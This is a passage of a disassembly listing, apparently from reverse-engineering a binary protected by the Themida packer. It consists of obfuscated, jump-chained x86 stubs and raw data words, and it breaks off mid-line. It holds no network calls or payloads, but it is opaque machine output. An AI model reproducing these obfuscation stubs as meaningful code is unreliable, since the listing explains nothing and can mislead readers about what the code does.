--------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 2D000000h, 5DA4FE3h, 0DFE9C601h, 8BFFFFFEh dd 0B5E9240Ch db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB9F: ; CODE XREF: Themida_:0054949Dj add ebp, ebx pop ebx pop ebx push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_54708F ; --------------------------------------------------------------------------- dd 1F65EB81h, 0EBC17229h, 0F7C38104h, 1F68291h, 241C8BDEh dd 0FFD651E9h, 2C44BDFFh, 0ED81782Ah, 5446557Dh, 0AF3ED81h dd 31E959D4h, 87FFFFFDh, 515C240Ch, 42474FFh, 11A8E9h dd 0E9C22900h, 0FFFF89CAh, 25F168h, 242C8900h, 104F43BDh dd 2444817Ch, 955E2B04h, 246C2952h, 8CEBE904h, 8355FFFFh dd 348904ECh, 2F0B6824h, 815E3FB9h, 46577DF6h, 12B3E908h dd 81590000h, 4C1h, 4E98300h, 0FFCE22E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FC39: ; CODE XREF: Themida_:0054C0ECj sub edi, 0C0EC1342h add eax, edi mov edi, [esp] add esp, 4 jmp loc_54D83F ; --------------------------------------------------------------------------- dd 66C8285Ah, 1C8B6659h, 2C48324h, 6504D828h, 0FFBB5FE9h dd 0C7815BFFh, 4, 5C243C87h, 0E9243C33h, 0FFFFB679h, 2AE939B4h dd 68FFFF9Bh, 549B2816h, 0E2F3815Bh, 8966FC12h, 783E9D8h dd 8B660000h, 0CC682404h, 89000048h, 0EC81243Ch, 4, 83242489h dd 8B042404h, 0C483243Ch, 0D221E904h, 0C801FFFFh, 4EC8359h dd 0BD242C89h, 4, 875DE801h, 295C2404h, 4C7C2DD8h, 0B95132E9h dd 186178D9h, 262BF181h, 0D9F74048h, 0E9C1D9F7h, 0DED0E908h dd 0EE81FFFFh, 67DF5159h, 0FFA5C7E9h, 0F18159FFh, 6F5F6A3Dh dd 0CE1BE56h, 0F1295768h, 8124348Bh, 4C4h, 0C5E98100h dd 816A5A54h, 894784F1h, 0E4E951B7h, 0E9000013h, 0FFFF631Eh ; --------------------------------------------------------------------------- loc_54FD20: ; CODE XREF: Themida_:0054F59Dj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or edx, eax shl edx, 1 push ebp push 6994A4Fh pop ebp push edi push 6D16232Fh jmp loc_5497F6 ; --------------------------------------------------------------------------- dd 4244481h, 2037F48h, 4247C01h, 4246C81h, 2037F48h, 0FFEAD5E9h dd 0A5E381FFh, 81254D01h, 0C873EFC3h, 5BD90151h, 0C21CE981h dd 0CE89A366h, 0FF8792E9h, 50CAFEFFh, 0C200C4B0h, 0D0885058h dd 48BC788h, 4EC8324h, 0E9243489h, 0FFFF85D0h ; --------------------------------------------------------------------------- loc_54FD9C: ; CODE XREF: Themida_:00546689j mov edi, 2000h push 51C3h mov [esp], esi push edi sub dword ptr [esp], 1D5E0F67h pop esi add esi, 1D5E0F67h push esi mov ebp, [esp] add esp, 4 pop esi push dword ptr [esp] jmp loc_546352 ; --------------------------------------------------------------------------- loc_54FDCB: ; CODE XREF: Themida_:00548626j pop ecx pop dword ptr [esp] jmp loc_5475CC ; --------------------------------------------------------------------------- dd 243C895Ch, 0E904EC83h, 18Fh, 0BFC28142h, 29961773h dd 4FE95AD1h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FDEF: ; CODE XREF: Themida_:0054E4BAj pop ebx add esp, 4 push 38B3h mov [esp], ebx jmp loc_547142 ; --------------------------------------------------------------------------- db 5Ah dd 0FFA5C4E9h, 958BDFFh, 32681D35h, 89000010h, 30B9240Ch dd 0E92DE174h, 0FFFF9DA1h, 5AD1295Fh, 0FFECC0E9h, 1C77FFFFh dd 0D259669Dh, 0E99C241Ch, 0FFFF6206h, 68243C89h, 2273h dd 0FFFA1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FE45: ; CODE XREF: Themida_:00547184j xchg edi, [esp] mov esp, [esp] jmp loc_54603E ; --------------------------------------------------------------------------- loc_54FE50: ; CODE XREF: Themida_:0054B4CFj jz loc_54FA46 push ebx mov ebx, 364B4760h sub ebx, 6A3D320Dh push 0 jmp loc_54F21F ; --------------------------------------------------------------------------- dd 2434FF54h, 54706858h, 34890000h, 0CAE95424h, 59FFFFC9h dd 0C9E96704h, 88000014h, 0C76DE9EAh, 0C381FFFFh, 12A63CD9h dd 0E950C329h, 0FFFF8472h, 0E9B6B151h, 0FFFFD582h, 728FC181h dd 1DE95122h, 8BFFFFDAh, 92E92404h, 81000022h, 1219D4CDh dd 59F58154h, 811FF140h, 0AF677DEDh, 2BF58109h, 1C21494h dd 242C8BEEh, 4C481h, 0C6830000h, 0BC16E904h, 77FFFFFFh dd 59669D1Ch, 241CD366h, 0B082E99Ch, 0C381FFFFh, 7241EE1h dd 0EB81D301h, 7241EE1h, 0E9F3295Ah, 0FFFFDFA0h ; --------------------------------------------------------------------------- loc_54FF08: ; CODE XREF: Themida_:0054BB51j neg ebx xor ebx, 75045268h not ebx add ebx, 99674AFh sub edx, ebx pop ebx add eax, 3BAB643Eh jmp loc_548E57 ; --------------------------------------------------------------------------- loc_54FF25: ; CODE XREF: Themida_:00549EE8j sub [esp], ebx add dword ptr [esp], 7C461C80h mov ebx, [esp] add esp, 4 add ebx, 0DD2055BDh and eax, ebx pop ebx or eax, eax jz loc_5520CD push dword ptr [edi+1Ch] mov ecx, [esp] push edi push esp mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add edi, 4 push ecx jmp loc_54A744 ; --------------------------------------------------------------------------- db 89h dd 0BEE92414h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF77: ; CODE XREF: Themida_:00551E66j mov eax, 5401609Fh add [esp+8], eax pop eax sub dword ptr [esp+4], 578867C5h add dword ptr [esp+4], 1F7D107Ah sub [esp+4], edi jmp loc_5460A8 ; --------------------------------------------------------------------------- dw 315Ah dd 24148BD7h, 2D04C483h, 46C21FAh, 4D7F0505h, 0E9F8297Ah dd 0D24h ; --------------------------------------------------------------------------- loc_54FFB4: ; CODE XREF: Themida_:00549183j pop ebp jmp loc_54E381 ; --------------------------------------------------------------------------- loc_54FFBA: ; CODE XREF: Themida_:0054F4BAj xchg esi, [esp] pop esp mov [esp], ebx mov ebx, 4 jmp loc_549255 ; --------------------------------------------------------------------------- db 81h dd 210198C7h, 8AC78105h, 1855E6Fh, 0B9515FFBh, 367F0117h dd 778CBD55h, 0BE562BE9h, 300ADA20h, 0E95EF501h, 0FFFFEE1Fh ; --------------------------------------------------------------------------- loc_54FFF4: ; CODE XREF: Themida_:00550323j add esp, 4 jmp loc_547D8B ; --------------------------------------------------------------------------- loc_54FFFF: ; CODE XREF: Themida_:0054E22Aj pop esi jmp loc_54D065 ; --------------------------------------------------------------------------- db 0E9h, 34h, 60h dd 0E189FFFFh, 4C181h, 9BE90000h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550017: ; CODE XREF: Themida_:00547EC8j push edi mov edi, 7FFE0091h sub edi, 57AD031Fh not edi neg edi push esi push edx jmp loc_54B294 ; --------------------------------------------------------------------------- dw 0B450h dd 58E688C1h, 919E950h, 0DAF60000h, 0F657B050h, 0E9C8FED8h dd 0FFFFBD67h ; --------------------------------------------------------------------------- loc_550048: ; CODE XREF: Themida_:0054E8CDj add ebp, 4 jmp loc_551A9D ; --------------------------------------------------------------------------- loc_550053: ; CODE XREF: Themida_:0054BD0Bj add ebp, 4 jmp loc_54D7FF ; --------------------------------------------------------------------------- loc_55005E: ; CODE XREF: Themida_:00550A45j add bl, 42h add al, bl pop ebx sub bl, 0C3h push eax mov al, 98h add al, 58h add bl, al pop eax jmp loc_54C18C ; --------------------------------------------------------------------------- dd 0CEFEC6FEh, 8048E680h, 0B2524CC6h, 0B7536659h, 66FA08F8h dd 97C2805Bh, 32E9D000h, 0B6FFFFEEh, 61A6E97Dh, 268FFFFh dd 5B000000h, 6FCFC781h, 0DF016A62h, 0FFA312E9h, 4C481FFh dd 0 dd 0EFDBE9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5500BA: ; CODE XREF: Themida_:0054E899j mov ebx, 540C06CBh jmp loc_551E9E ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 0D907E924h, 8145FFFFh, 881879CDh dd 0ED814D4Bh, 4B883E7Ah, 34FFEF01h, 0C4835D24h, 243C8704h dd 0FF7CD8E9h, 0E9525BFFh, 1587h, 9D1C77FFh, 14D25966h dd 37E99C24h, 81FFFF5Fh, 42404h, 3C8B0000h, 91E95124h dd 56FFFFD1h, 0F03D7FBEh, 19E4BD59h, 0E3E94EE3h, 8100000Eh dd 4C6h, 6C8CE900h, 0C083FFFFh, 72BE902h, 56580000h, 0FFA103E9h dd 240489FFh, 4B8h, 0A8FFE900h, 0EF81FFFFh, 0D141B960h dd 425FFA89h, 0E2C1EAD1h, 6E2C108h, 0FBEA814Ah, 55A190FFh dd 951135BDh, 8E5C148h, 30C58145h, 0E96EF126h, 0FFFF9788h ; --------------------------------------------------------------------------- loc_55017C: ; CODE XREF: Themida_:0054A214j pop edx pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_548FE3 ; --------------------------------------------------------------------------- db 81h, 0EBh, 58h dd 1D664BDh, 0F1815BD9h, 2070A874h, 6905C781h, 0CF292808h dd 6905EF81h, 0C8B2808h, 0E7895724h, 4C781h, 0C2E90000h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5501B7: ; CODE XREF: Themida_:0054C02Fj mov edx, 7A2E38A0h jmp loc_54651B ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXh8r db 'Xh8R',0 align 2 dw 0C89h dd 81E18924h, 4C1h, 17B85000h, 0C173E714h, 0E8C105E0h dd 48D0F703h, 3A07642Dh, 0BC5AE938h, 0B7B8FFFFh, 2966763Bh dd 24048BC2h, 4C481h, 0F2290000h, 3BB7C281h, 348B6676h dd 4C48124h, 0E9000000h, 0FFFF99F1h, 0E9C1D9F7h, 84F18103h dd 8936C530h, 0A8E959CEh db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550227: ; CODE XREF: Themida_:0054671Fj add edi, ebp pop ebp push ebp mov ebp, 4 add edi, ebp pop ebp xor edi, [esp] xor [esp], edi jmp loc_55027B ; --------------------------------------------------------------------------- dw 0C801h dd 534CBB53h, 0E3C157EEh, 4E3C106h, 0CB81EBD1h, 4C8B4787h dd 53D6BF57h, 0FB013CF7h, 4EB815Fh, 2964FEF2h, 0E9595BD8h dd 0FFFF6E6Eh, 8B24048Fh, 4002424h, 0C3E99C24h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55027B: ; CODE XREF: Themida_:00550239j xor edi, [esp] pop esp jmp loc_551ADD ; --------------------------------------------------------------------------- dd 0B9h, 0DD9EE900h, 0C481FFFFh, 4, 31243433h, 34332434h dd 66E95C24h, 0FF000006h, 34FF2434h, 89515B24h, 0D1F4E9E1h dd 0D0F7FFFFh, 1DF9E9h db 0 ; --------------------------------------------------------------------------- loc_5502B9: ; CODE XREF: Themida_:0054CF20j pop ebp jmp loc_549F20 ; --------------------------------------------------------------------------- loc_5502BF: ; CODE XREF: Themida_:005520E4j sub esi, edx pop edx xchg esi, [esp] mov esp, [esp] mov [esp], eax jmp loc_547A43 ; --------------------------------------------------------------------------- loc_5502D0: ; CODE XREF: Themida_:005523B8j push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp sub esp, 4 jmp loc_547834 ; --------------------------------------------------------------------------- loc_5502F0: ; CODE XREF: Themida_:00547D02j pop edi jmp loc_54EFF5 ; --------------------------------------------------------------------------- dw 0C083h dd 0A66CE904h, 0C281FFFFh, 4, 4BD55h, 0EA010000h, 0FFD975E9h dd 81D6F7FFh, 4EFC72EEh, 0E9F0899Ah, 0FFFF757Fh ; --------------------------------------------------------------------------- loc_550320: ; CODE XREF: Themida_:0055180Ej mov ebp, [esp] jmp loc_54FFF4 ; --------------------------------------------------------------------------- dd 0C580DDF6h, 80D5F614h, 0EA8881EDh, 83240C8Bh, 0C23004C4h dd 3FF28058h, 0F5AD300h, 0D7E9C0B6h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55034B: ; CODE XREF: Themida_:0054F94Cj push edi jmp loc_547371 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 34870000h, 24248B24h, 170068h, 24148900h, 1BE56h dd 71E90000h, 80FFFFEAh, 0C380C1EBh, 0C0B60FDAh, 688734FFh dd 20B9h, 0FF73C6E9h, 40478FFFh, 0FF5CADE9h, 4AC681FFh dd 125A904h, 0BB535EF0h, 67AB32D2h, 0F707E3C1h, 3C381D3h dd 1D59969h, 6219E9D8h, 524AFFFFh, 5A2414F7h, 0D110C281h dd 0EB81DC3Eh, 2C931EB1h, 0EAE9D301h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5503CB: ; CODE XREF: Themida_:0054B2A9j pop esi xor esi, edx mov edx, [esp] add esp, 4 sub edi, esi mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54AA3F ; --------------------------------------------------------------------------- dw 1489h dd 0F6AEB624h, 813AE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5503FA: ; CODE XREF: Themida_:005481C6j pop edi push esi mov esi, esp add esi, 4 push 3797h mov [esp], ebp jmp loc_54C0FA ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 2904C483h, 24048BC6h, 8B04C483h, 67E92414h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550427: ; CODE XREF: Themida_:0054C542j mov ebp, esp push edi push eax jmp loc_54E461 ; --------------------------------------------------------------------------- dd 0E9D3F743h, 0FFFFFD51h, 5A58525Fh, 0E91C4709h, 0FFFFB492h dd 0C388DE88h, 5A66F088h, 0FF9DE7E9h db 0FFh ; --------------------------------------------------------------------------- loc_550451: ; CODE XREF: Themida_:0054C7A1j xchg eax, [esp] jmp loc_54C53E ; --------------------------------------------------------------------------- db 80h, 0EBh, 4Fh dd 0F0E9h db 0 ; --------------------------------------------------------------------------- loc_550461: ; CODE XREF: Themida_:0054976Aj mov esi, edi pop edi or ebp, esi pop esi xor ebp, 63DFF7F5h jmp loc_54CD5E ; --------------------------------------------------------------------------- loc_550472: ; CODE XREF: Themida_:0054C945j sub ebp, 9CD29829h add eax, ebp pop ebp jmp loc_548B86 ; --------------------------------------------------------------------------- dd 405h, 0FCA8E900h, 0F829FFFFh, 0DB42DD2Dh, 0E95F5F23h dd 0FFFF5BA6h ; --------------------------------------------------------------------------- loc_550498: ; CODE XREF: Themida_:0054E257j mov bh, cl pop ecx push edx mov dh, 0F9h or bh, dh pop edx sub bh, 27h push eax push ecx jmp loc_54862B ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 5BB6h, 89241489h, 3F4168E2h, 0C890000h, 16E7B924h dd 0EEE91B76h, 59FFFFB0h, 0FFA9BDE9h, 48B66FFh, 59545124h dd 4C181h, 0E9830000h, 240C8704h, 242C895Ch, 0C5815D54h dd 4, 249168h, 241C8900h, 2BBh, 0BE565700h, 5B73697Ah dd 0FF9B9BE9h, 4C483FFh, 0CB72CC05h, 0E9D82956h, 0FFFFCAD0h dd 79C5BD55h, 0C5812322h, 61B8765Ah, 6FC4ED81h, 0CD81264Eh dd 282234C3h, 0B4D9F581h, 0E9E97EAEh, 1FFFFC2h, 1705E9FAh dd 875C0000h, 665C2434h, 9C242CD3h, 0FFD689E9h, 386866FFh dd 0D645E973h, 0CE29FFFFh, 0EED14E59h, 0A67AC681h, 8156D0F3h dd 5A922434h, 81597012h, 125A92F1h, 0EA815E70h, 0EA94CB7h dd 3BE9CA01h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550583: ; CODE XREF: Themida_:0054DA30j add ebx, 4 xchg ebx, [esp] pop esp jmp loc_548A2D ; --------------------------------------------------------------------------- dw 0C89h dd 3C9DB924h, 0CB2101F7h, 0FFFF2AE9h, 4EC81FFh, 89000000h dd 0EB9240Ch, 294ED042h, 7651E9CEh, 48FFFFFh, 0AF0F5C24h dd 0E99C51C8h, 0FFFF5A7Ah, 0E95BD829h, 0FFFFFCE6h, 405h dd 40500h, 4330000h, 0DBB7E924h, 215EFFFFh, 908EE9F2h dd 0C87FFFFh, 24248B24h, 56243C89h, 86546468h, 0D6F75E75h dd 0AB9FB951h, 0CE318A79h, 0FF945BE9h, 43EE81FFh, 8178863Fh dd 94D0D6F6h, 5EF101B4h, 0E904E983h, 0FFFFFFCAh, 0FF2434FFh dd 56592434h, 53515E54h, 283D54BBh, 5E3C15Bh, 0BC381h dd 0D3F77F51h, 363AC381h, 0EB8129A4h, 0EE087CCFh, 0FFA7E9E9h dd 21F381FFh, 8944A590h, 241C8BDEh, 5604C483h, 0FA629ABEh dd 0D3F7E93Eh, 0C681FFFFh, 507D18F0h, 5D5EF029h, 205h dd 74FF5000h, 48B0424h, 4C48324h, 5C24048Fh, 0FFEF07E9h dd 3B252FFh, 502ACA80h, 0F4805AB4h, 0C266E9DCh, 0C581FFFFh dd 4, 2474FF55h, 89BFE904h, 0CA01FFFFh, 81240C8Bh, 4C4h dd 0BD555000h, 583D09E8h, 3D09EAB8h, 5DE82958h, 10D6E9h db 0 ; --------------------------------------------------------------------------- loc_5506C5: ; CODE XREF: Themida_:0054D844j xchg eax, [esp] pop esp jmp loc_549996 ; --------------------------------------------------------------------------- loc_5506CE: ; CODE XREF: Themida_:005469F5j push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push 6960h mov [esp], esi jmp loc_547AA4 ; --------------------------------------------------------------------------- dw 2C89h dd 16C9BD24h, 0AEE9401Fh, 68000017h, 6077h, 54240489h dd 5624048Bh, 0C681E689h, 4, 3304C683h, 34312434h, 24343324h dd 4055Ch, 9BE90000h, 80000016h, 0EB80AFC2h, 0E9D3283Eh dd 0AD0h, 1C8BDA01h, 9D63E924h, 0C681FFFFh, 32673AF4h dd 5350D601h, 0FFF532E9h, 0E1805BFFh, 0D0C9800Eh, 0FFA881E9h dd 6865BDFFh, 0EB896F51h, 1B1E9h db 0 ; --------------------------------------------------------------------------- loc_550761: ; CODE XREF: Themida_:0054C7BAj mov esi, [esp] jmp loc_549BE9 ; --------------------------------------------------------------------------- db 5Ch, 1, 0EAh dd 621BBF57h, 56E9228Ah db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550777: ; CODE XREF: Themida_:00550D2Aj shr edi, 6 not edi sub edi, 0CCC027B5h sub ebp, edi pop edi shr ebp, 5 add ebp, 0FFFFFFFFh jmp loc_54646D ; --------------------------------------------------------------------------- dd 87665966h, 8B662404h, 89532414h, 4C381E3h, 83000000h dd 1C8702C3h, 87665C24h, 8BE92414h, 66FFFF58h, 58F8685Ah dd 0C890000h, 0C0D5B124h, 0E95307E9h, 0FFFFBA2Eh ; --------------------------------------------------------------------------- loc_5507C8: ; CODE XREF: Themida_:0054F93Bj push 32D1h mov [esp], eax jmp loc_54B7AB ; --------------------------------------------------------------------------- loc_5507D5: ; CODE XREF: Themida_:0054D957j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push dword ptr [esp] pop edx jmp loc_5467AF ; --------------------------------------------------------------------------- dd 0CFA9E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5507F6: ; CODE XREF: Themida_:0054ED31j add ecx, 4 jmp loc_5487D0 ; --------------------------------------------------------------------------- db 5Dh, 0F7h, 0D1h dd 0C981D9F7h, 3ECC355Ah, 0FFA371E9h db 0FFh ; --------------------------------------------------------------------------- loc_550811: ; CODE XREF: Themida_:00551AFDj xor edi, 50F1025h add ecx, edi jmp loc_550F8F ; --------------------------------------------------------------------------- loc_55081E: ; CODE XREF: Themida_:0054938Bj pop ebp and eax, ebx mov ebx, [esp] sub esp, 4 mov [esp], esi jmp loc_54CF70 ; --------------------------------------------------------------------------- loc_550832: ; CODE XREF: Themida_:00546F68j push eax pop ecx pop eax xor [esp+4], ecx push dword ptr [esp] pop ecx jmp loc_546450 ; --------------------------------------------------------------------------- dw 0EB80h dd 50CB2877h, 2B2C8CB0h, 0E8C0D0F6h, 8E0C008h, 0E903E8C0h dd 0FFFF5ADAh, 24048B66h, 1B2CE9h, 24043300h, 0FF6B96E9h dd 0DD3159FFh, 81241C8Bh, 4C4h, 8BE82900h, 0C481242Ch dd 4, 0B9E9D829h, 0B1FFFF63h, 0E9F10078h, 0FFFFF3B8h, 3168B82Dh dd 58C5890Ch, 2C8BEB01h, 0A2EAE924h, 0EA89FFFFh, 0FF6D8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5508AD: ; CODE XREF: Themida_:0054A719j sub ebx, edx jmp loc_552494 ; --------------------------------------------------------------------------- dd 0CFF0E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5508BA: ; CODE XREF: Themida_:00549F39j mov esi, 55DE1B95h and esi, 42CF5F2Eh xor esi, ebp xor ebp, esi xor esi, ebp neg ebp xchg ebp, esi shr esi, 5 push edi push 6EED738Ah pop edi push esi mov esi, 77CF1C80h jmp loc_54C7B8 ; --------------------------------------------------------------------------- dd 3B59BA52h, 3E92FE9h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5508EF: ; CODE XREF: Themida_:0054AEEBj add edx, 4 push ecx jmp loc_54C248 ; --------------------------------------------------------------------------- db 89h dd 97E9240Ch db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550903: ; CODE XREF: Themida_:0054757Aj push edi jmp loc_547AFB ; --------------------------------------------------------------------------- db 0D2h, 2 dup(24h) dd 14E9E99Ch, 815D0000h, 892C34EBh, 0BAEB816Bh, 0E908FB16h dd 0FFFFB1A7h, 4C481h, 0E9520000h, 0A51h ; --------------------------------------------------------------------------- loc_550930: ; CODE XREF: Themida_:00547F2Ej pop ebp push 72C6h mov [esp], ebx push esp mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_54F596 ; --------------------------------------------------------------------------- db 80h dd 30E9BBE4h, 0B0FFFFD5h, 0AD11E9CEh, 0E189FFFFh, 0FFDD0AE9h dd 58E628FFh, 0FF610BE9h, 24248BFFh, 24048966h, 0FF56C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_550975: ; CODE XREF: Themida_:00546834j mov ecx, 325B5E7Bh neg ecx sub ecx, 24E30E63h xor ecx, 0A9919316h xor ebp, ecx pop ecx add ebx, ebp pop ebp push ebp mov ebp, 5BD853DCh jmp loc_549BB3 ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 5 dd 6070F781h, 0F92991C0h, 0E908E95Fh, 48BFFFFh, 2CE36824h dd 14890000h, 34FF5424h, 0C4835A24h, 4C28104h, 81000000h dd 4ECh, 24348900h, 4BEh, 7EC28100h, 160913Bh, 7EEA81F2h dd 0E960913Bh, 0A77h, 5C243C87h, 83240C8Bh, 148904ECh dd 51A66824h, 4D680000h, 54000074h, 8324048Fh, 8F042404h dd 0BE562404h, 4, 4247401h, 8BE95A5Eh, 68FFFF56h, 30EB6D15h dd 3DEE815Eh, 0F7522803h, 0EE8146D6h, 213C9624h, 55EF389h dd 3292745Dh, 0FF6BCCE9h, 0E9CB28FFh, 0FFFFD004h ; --------------------------------------------------------------------------- loc_550A40: ; CODE XREF: Themida_:0055176Dj sub bl, 0D6h shr bl, 1 jmp loc_55005E ; --------------------------------------------------------------------------- dw 1489h dd 0BA525524h, 22CA3980h, 0FF5D30E9h, 5E089FFh, 4, 42Dh dd 24048700h, 48F545Ch, 24048124h, 4, 0C20DE95Fh, 0D801FFFFh dd 0FFDFDDE9h db 0FFh ; --------------------------------------------------------------------------- loc_550A81: ; CODE XREF: Themida_:005485B3j push dword ptr [esp] mov ebp, [esp] jmp loc_54C25A ; --------------------------------------------------------------------------- aHc db '\hæ',0Dh,0 align 2 dw 489h dd 0E9E08924h, 0FFFF912Bh, 9306E959h, 5A54FFFFh, 0BA28E955h dd 5A66FFFFh, 0C91FE950h, 148BFFFFh, 1718E924h, 0C2830000h dd 24148704h, 6824248Bh, 5535h, 0E9240C89h, 0FFFF8FD8h dd 0E904C483h, 0FFFF7FECh, 13FA68h, 240C8900h, 0FFC7CAE9h dd 24148BFFh, 4C481h, 0E9530000h, 0FFFF7A5Bh, 66E9DF01h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550AFB: ; CODE XREF: Themida_:0054749Aj pop ecx shl ebx, 6 push 3352h jmp loc_54B5DC ; --------------------------------------------------------------------------- db 0B5h, 4Fh, 0E9h dd 0FFFF5EA0h, 0BD242C89h, 441D70A1h, 2C8BEB29h, 0E3895324h dd 4C381h, 0F1E90000h, 68FFFF97h, 30CEh, 0E9243489h, 0FFFFA2ECh ; --------------------------------------------------------------------------- loc_550B38: ; CODE XREF: Themida_:00550C89j neg esi add esi, 2E607B22h sub esi, 4AA35937h add esi, 0DCBBE2ECh sub edi, esi pop esi jmp loc_547A26 ; --------------------------------------------------------------------------- dd 0A8415905h, 0F6E0E934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B5E: ; CODE XREF: Themida_:0054A16Bj mov ebp, 3B562396h sub esp, 4 mov [esp], esi jmp loc_54C264 ; --------------------------------------------------------------------------- dw 5451h dd 6AE95059h, 66FFFF5Ah, 81CCB60Fh, 4ECh, 0BD09E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B86: ; CODE XREF: Themida_:0054D78Fj shr ecx, 6 jmp loc_547384 ; --------------------------------------------------------------------------- dw 0F801h dd 715D8D2Dh, 0B393E94Ah, 1489FFFFh, 0E95CB224h, 0A3Ch dd 0E924048Fh, 0FFFF996Ch, 219E958h, 0C6810000h, 4, 4BB53h dd 0DE010000h, 0FFF78CE9h db 0FFh ; --------------------------------------------------------------------------- loc_550BC5: ; CODE XREF: Themida_:005460BFj mov ebp, 4CCF6B81h push eax mov eax, 78EA4F09h not eax xor eax, 0B2619D92h jmp loc_546E19 ; --------------------------------------------------------------------------- dd 5104C483h, 8E080FB9h, 5FE95309h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550BEB: ; CODE XREF: Themida_:0054D718j sub edx, 55785B8Bh xor edx, 0B5109F9h dec edx add edx, 110D5E93h push edx sub dword ptr [esp], 5FC34A02h mov ecx, [esp] add esp, 4 jmp loc_54B20A ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 1000000h, 0C875DE9h, 0B678E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C22: ; CODE XREF: Themida_:0054B885j xor edx, esi mov esi, [esp] jmp loc_54F935 ; --------------------------------------------------------------------------- loc_550C2C: ; CODE XREF: Themida_:0054F47Ej add esp, 4 loc_550C32: ; CODE XREF: Themida_:loc_54C2E5j ; Themida_:005524C6j sub esp, 4 mov [esp], ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5474EA ; --------------------------------------------------------------------------- loc_550C50: ; CODE XREF: Themida_:0054DF8Cj mov edx, 9D25C70h push ebp push edx mov edx, 6CB34CF1h xor edx, 395E0796h mov ebp, edx pop edx xor edx, ebp jmp loc_548F8E ; --------------------------------------------------------------------------- dd 3F7BC381h, 0E94377AEh, 0FFFF627Dh ; --------------------------------------------------------------------------- loc_550C78: ; CODE XREF: Themida_:0054D7E8j sub edi, 914643h push esi mov esi, 7FE16C4Fh sub esi, 1 neg esi jmp loc_550B38 ; --------------------------------------------------------------------------- loc_550C8E: ; CODE XREF: Themida_:0054ED3Cj add ecx, 4 xor ecx, [esp] jmp loc_546B45 ; --------------------------------------------------------------------------- loc_550C9C: ; CODE XREF: Themida_:00546ECBj mov [esp], edx xchg esi, [esp] not esi xchg esi, [esp] mov edx, [esp] add esp, 4 push esi push ecx push edi jmp loc_547E93 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 55000000h, 2FD273BDh, 6DBA526Ch, 0E93F9456h, 35Ch, 6604C483h dd 0E9D48850h, 0FFFFDCA6h, 4D7F052Dh, 9226E97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550CE2: ; CODE XREF: Themida_:00550F52j sub esi, 7E536E6h pop ebx and eax, esi mov esi, [esp] push eax mov eax, esp add eax, 4 jmp loc_5479A2 ; --------------------------------------------------------------------------- db 0B5h dd 0F6516615h, 66012454h, 83240C8Bh, 0DDF602C4h, 0FF72CDE9h dd 885058FFh, 88D0F6C8h, 9EE958C1h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D1F: ; CODE XREF: Themida_:00552477j mov ebp, 5B5375DAh push edi mov edi, 3EF4530Dh jmp loc_550777 ; --------------------------------------------------------------------------- db 68h dd 73BCh, 54240489h, 8124048Bh, 4C4h, 40500h, 0BE560000h dd 2, 9D5AF505h, 619F2D49h, 2BE9490Fh db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D5B: ; CODE XREF: Themida_:0054F090j pop esp jmp loc_54DB03 ; --------------------------------------------------------------------------- db 5Bh, 53h, 0BBh dd 14E4F95h, 1C8BDD09h, 0C9E9E924h, 0E688FFFFh, 0B09AE953h dd 0E6C1FFFFh, 0E9CE8102h, 817ADB6Eh, 171F20F6h, 27B85004h dd 48589115h, 0FF8AD2E9h, 48F59FFh, 0C8B5C24h, 2D5A6824h dd 0C890000h, 7FE95424h, 87FFFFEEh, 